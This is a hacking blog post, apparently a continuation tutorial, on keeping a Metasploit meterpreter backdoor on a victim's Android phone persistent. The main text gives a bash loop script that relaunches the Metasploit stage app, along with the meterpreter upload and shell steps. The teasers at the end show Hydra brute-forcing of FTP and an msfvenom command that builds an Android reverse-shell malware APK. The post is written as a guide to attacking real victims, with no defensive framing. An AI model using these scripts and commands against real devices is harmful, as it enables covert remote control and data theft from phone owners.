Skip to main content

Creating a Persistence Session: Android






This is a continuation article of the Android Hacking with Metasploit.

After getting the session from the victim we next need a persistent session i.e  constant session which will maintain the session even if you lost the previous sessions.

For this we need a bash script that is to be executed on the victim's mobile.

I have used this bash script for the persistent session. You can use different scripts as well.

---------------------------------------------------------------------------------------------------------------
#!/bin/bash

while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
---------------------------------------------------------------------------------------------------------------


Save the script as <anything>.sh

Next our aim is to get the session back

Step:1

After getting the meterpreter we need to do 
cd /



Step:2

Then we have to get access to the SD storage
cd /sdcard/Download



Step:3

After getting the access of SD storage , we have to upload our bash script in that using the command
upload anything.sh

Step:4

Now we want a shell , right?
To get the shell we need the simple command
shell



Step:5

Now, navigate to the location of the script i.e cd/sdcard/Download


Step:6

Now its time for EXECUTION.


sh anything.sh

You can test it by exiting from meterpreter and again setting up a Listener. You should get a meterpreter prompt automatically.



 Voila!!! You got the meterpreter.

The persistent of the backdoor will only remain until a reboot of the android system. If your victim is in same network i.e. LAN, then the persistence will remain forever on LAN and if you have static IP, then also your persistence will remain forever on WAN too.

Thank You

Popular posts from this blog

Exploiting All Ports in Different Techniques

In this section we will exploit the active ports in different techniques. The ports we are trying to exploit are FTP, SSH, TELNET, SMTP, NETBIOS-SSN, JAVA RMI, BINDSHELL, ProFTPD, MYSQL, DISTCCD, VNC, X11, UnrealIRCD, TOMCAT, RUBY-DRB. 1.  21-FTP Method 1: Login with Anonymous as username and no password. If you need more info about Anonymous FTP you can find it here. https://whatis.techtarget.com/definition/anonymous-FTP-File-Transfer-Protocol ftp 192.168.0.130     Method 2 : Through Brute-force using Hydra but you need to have a custom list of usernames and passwords. hydra -L /root/Desktop/USERNAMES.txt -P /root/Desktop/PASSWORDS.txt <Target IP Address> ftp -V     It will take each username and password from the given files and try to login to the target FTP service. Once you found the credentials you can directly log in.     After log ging in  to a user account, You can get root access by doing Privilege escalation. Method 3 : Exploiting...

Files Transferring Techniques

        Often I struggled to transfer files from Host to Attacker and Attacker to Host.Sometimes i forget the commands and techniques that I learned before.So i am making notes of this to refer in future.We can easily downloads files from web server using browser..but what about command line.         File Transfer is a pain, and in most cases,After gaining initial access on the target machine, and with file transfers, we can upload tools and exploits on the target to try and elevate the privileges, exfiltrate sensitive data from the target back to your machine or just move around files to/from the target and you . Linux(Setting up the server's) 1.Apache We can serve files using apache server,but i love using python modules instead of apache server. Because first we need to move files into   /var/www/html   directory,then we need to start  Apache  server.          ...

Android Hacking With Metasploit

Hello This is my first blog regarding the android hacking with metasploit. I am in the learning stage and if you found some error then point out them and feel free to contact me. Step 1:- First of all we have to open terminal and start some services with commands like:-                                          (a) start apache2 start                                          (b) start postgresql start Then we have to start metasploit framework with the command msfconsole. Step 2:- Then we have to create android malware using metasploit framework in new window. Execute the Command:- msfvenom -p android/meterpreter/reverse_tcp LHOST= <attacker IP> LPORT= <attacker PORT> R > <filename.apk> N.B:- msfvenom is a command line code t...